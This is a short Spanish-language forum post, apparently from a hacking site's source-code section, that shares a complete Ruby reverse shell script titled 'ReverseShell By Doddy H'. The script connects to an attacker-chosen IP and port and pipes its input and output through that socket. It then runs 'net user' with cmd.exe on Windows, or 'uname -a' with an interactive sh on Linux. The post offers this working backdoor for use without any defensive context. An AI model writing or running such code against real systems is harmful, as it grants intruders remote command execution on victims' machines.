Un reverse shell en ruby
#!usr/bin/ruby
#Back Shell (C) Doddy HAckman 2010
#Creditos : protos por darle vida a un lenguaje casi olvidado  en este mundo

require 'socket'

ip = ARGV[0]
port = ARGV[1]

def uso 
  print "\n[+] bind.rb <ip> <port>\n"
end

def  head
  print "\n\n-- == ReverseShell By Doddy H == --\n\n"
end

def copyright
  print "\n\n(C) Doddy Hackman 2010\n\n"
end


def infowin
  system("net user")
end

def openwin()
 system("cmd.exe")
 end  
 
 def infolin
  system("uname -a")
end

def openlin()
 system("export TERM=xterm;exec sh -i")
 end  

def now(ip,port)
  print "\n\n-- == ReverseShell By Doddy H == --\n\n"
  print "\n[+] Ok , enter to the system\n\n"
 begin 
 backdoor = TCPSocket.new(ip,port)
  $stdout.reopen(backdoor) 
  $stdin.reopen(backdoor)
  rescue
  print "\n[-] Un puto error !!\n\n"
  exit(1)   
  end
  if RUBY_PLATFORM =~/win/
   infowin()
   openwin()
  else 
   infolin()
   openlin()
end
end

 
if !ip and !port
 uso()
else
  now(ip,port)
end

#The End ???
Responder

Volver a “Fuentes”